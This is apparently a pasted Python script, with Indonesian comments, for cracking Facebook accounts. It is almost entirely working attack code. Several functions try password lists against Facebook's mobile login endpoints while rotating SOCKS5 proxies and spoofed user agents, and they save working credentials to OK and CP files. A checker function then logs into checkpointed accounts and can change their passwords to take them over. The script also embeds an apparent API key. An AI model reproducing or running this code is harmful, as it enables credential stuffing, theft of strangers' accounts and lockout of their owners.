- po = ses.post('https://developers.facebook.com/login/device-based/regular/login/?api_key=793139305026776&auth_token=0b6ec682004f184c19b735a0633758a7&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D793139305026776%26redirect_uri%3Dhttps%253A%252F%252Fmuyu2019.com%252Fwp-login.php%253FloginSocial%253Dfacebook%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%26scope%3Dpublic_profile%252Cemail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db0a1bc78-04e0-4998-b19b-3a18e7643195%26tp%3Dunspecified&refsrc=deprecated&app_id=793139305026776&cancel=https%3A%2F%2Fmuyu2019.com%2Fwp-login.php%3FloginSocial%3Dfacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%23_%3D_&lwv=100&locale2=id_ID&refid=9',data=data,headers=headers,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ METODE TESTING V1 ]--------------------#
- def crackasync(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Async{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({"Host": "m.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
- p = ses.get("https://m.facebook.com/login.php?skip_api_login=1&api_key=206428089508143&kid_directed_site=0&app_id=206428089508143&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D206428089508143%26redirect_uri%3Dhttps%253A%252F%252Fwww.zalora.co.id%252Fcustomer%252Fsocialconnect%252Fendpoint%253Fhauth_done%253DFacebook%26scope%3Demail%252Cuser_birthday%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D0c67b520-a187-48a6-8125-3256fe975775%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.zalora.co.id%2Fcustomer%2Fsocialconnect%2Fendpoint%3Fhauth_done%3DFacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={
- "Host": "m.facebook.com",
- "content-length": f"{len(str(dataa))}",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
- "origin": "https://m.facebook.com",
- "content-type": "application/x-www-form-urlencoded",
- "user-agent": ua,
- "accept": "*/*",
- "x-requested-with": "com.microsoft.bing",
- "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
- "sec-ch-ua-platform": '"Android"',
- "sec-ch-ua-mobile": "?1",
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "sec-fetch-user": "?1",
- "referer": "https://free.facebook.com/v8.0/dialog/oauth?response_type=code%2Cgranted_scopes&client_id=1239138353201716&redirect_uri=https%3A%2F%2Fkachishop-d0c3a.firebaseapp.com%2F__%2Fauth%2Fhandler&state=AMbdmDmDaplWH_DdoV_W4QQTmWmecz1GxWXAlj2cdr_Vf_0aKRi-oWe-Z3FTiIj8pa4JD342zNeLW91aHp12LY9dOYb8tOPKOtsEllaj3JYdF79-cf8Wr-OPLhAn7Zq1LeUfJWdCxX2mAPKVYOG0CChDNxiBnmVCUG3LGCJ3sCTSc1Eb5dZseFVZe2lUqc6Yzz92V58Ki3TvYM7HjC_421qwGmMHJNi0xIaeVA917YCkm8d-wMthO_lSm3eIQPryPnbreRYgONBzhtx692MYCYA3_6dPlkm70JVkIuHGHRiJ98KokSMQRhxjZJCAp_GbKVMDXvSWm0ZtdYR5CI4UZgrB&scope=public_profile%2Cemail&display=popup&ret=login&fbapp_pres=0&logger_id=087a364c-3d69-45b4-a55b-047dae50317c&tp=unspecified",
- "accept-encoding": "gzip, deflate br",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
- }
- po = ses.post('https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ METHOD REGULER ]--------------------#
- def crackreguler(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Reguler{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
- p = ses.get('https://m.facebook.com/login/?email='+idf).text
- dataa ={
- 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
- 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
- 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
- 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
- 'email':idf,
- 'pass':pw
- }
- ses.headers.update({'Host': 'm.facebook.com',
- 'cache-control': 'max-age=0',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://m.facebook.com',
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': 'empty',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://m.facebook.com/login/?email='+idf,
- 'accept-encoding':'gzip, deflate br',
- 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
- po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ DEF CEK OPSI ]--------------------#
- import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
- import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
- from concurrent.futures import ThreadPoolExecutor
- from bs4 import BeautifulSoup as parser
- from threading import (Thread, Event)
- from time import sleep as jeda
- from datetime import datetime
- ct = datetime.now()
- n = ct.month
- bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
- try:
- if n < 0 or n > 12:
- exit()
- nTemp = n - 1
- except ValueError:
- exit()
- current = datetime.now()
- hari = current.day
- bulan = bulan_[nTemp]
- tahun = current.year
- bullan = current.month
- waktu = ("%s-%s-%s"%(hari,bulan,tahun))
- bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- P = '\x1b[1;97m' # PUTIH
- J = '\033[38;2;255;127;0;1m' # ORANGE
- N = '\x1b[0m' # WARNA MATI
- acak = [M, H, K, B, U, O, P, J]
- warna = random.choice(acak)
- til ="\033[0m ╰─ "
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();jeda(0.03)
- ubah_pass = []
- pwbaru = []
- pwBaru = []
- ubahP = []
- def file_cp():
- dirs = os.listdir('CP')
- print ("%s%s%s%s\033[0m\033[0mPilih Hasil Crack Yg Tersimpan Untuk Cek Opsi %s\n"%(U,til,O,U,O))
- for file in dirs:
- print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
- try:
- print("\n%s%s%s\033[0mMasukan file [ CTH%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
- opsi()
- except IOError:
- print ('%s%s\033[0mFile Tidak Ada'%(M,til))
- exit()
- def opsi():
- CP = ("CP/")
- romi = input("%s%s%s\033[0mNama file %s> %s"%(U,til,O,M,K))
- if romi == "":
- print("%s%s\033[0Misi Yang Benar "%(M,til));jeda(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit("\n%s%s\033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
- jalan("%s%s%s\033[0mMode Pesawatkan Terlebih Dahulu 5 Detik "%(U,til,O))
- pw=input("\n%s%s%s\033[0mUbah Sandi Pada Akun One Tab? y/t %s> %s"%(U,til,O,M,K))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input("%s%s%s\033[0mMasukan Sandi %s> %s"%(U,til,O,M,K))
- if len(pw2) <= 5:
- print("%s%s Sandi Minimal 6 Karakter "%(M,til))
- else:
- pwbaru.append(pw2)
- print ("%s%s%s\033[0mTotal Akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print("\n%s%s.%s\033[0mLogin Akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n%s%s%s\033[0mSelesai Mengecek Akun"%(U,til,O));jeda(0.07)
- input('%s%s%s[%s Enter%s ]'%(U,til,O,U,O))
- back()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- url = "https://m.facebook.com"
- session.headers.update({"Host":"m.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://mbasic.facebook.com/","user-agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m Akun Terkunci Sesi New"%(M,til))
- else:
- print("\r%s%s\033[0m Akun Tidak Checkpoint, Silahkan Anda Login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s ╰─ %s\033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat Detail Login Yang Ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0mAkun One Tab, Sandi Berhasil Di Ubah \n ╰─ OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print("\r%s%s \033[0mAkun One Tab, Silahkan Anda Login "%(H,til))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s ╰─ \033[0mAkun Terpasang Autentikasi Dua Faktor "%(M))
- else:
- print("%s%s\033[0mTerjadi Kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s Akun Tidak Checkpoint, Silahkan Anda Login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s ╰─ %s"%(M,oh))
- else:
- print("%s ╰─ \033[0mLogin Gagal, Silahkan Cek Kembali Id Dan Kata Sandi"%(M))
- def scarpping_ua():
- # Url & Headers website #
- url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
- header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
- # Main menu #
- # os.system('clear')
- try:
- response = requests.get(url,headers=header)
- if response.status_code == 200:
- uascrap.append(response.json()['ua'])
- else:
- uascrap.append("Mozilla/5.0 (Linux; Android 11; RMX3501) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36")
- except requests.exceptions.ConnectionError:
- uascrap.append("Mozilla/5.0 (Linux; Android 11; RMX3501) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36")
- #-----------------------[ SYSTEM-CONTROL ]--------------------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.mkdir('DUMP')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- try:os.system('clear')
- except:pass
- login()
Add Comment
Please, Sign In to add comment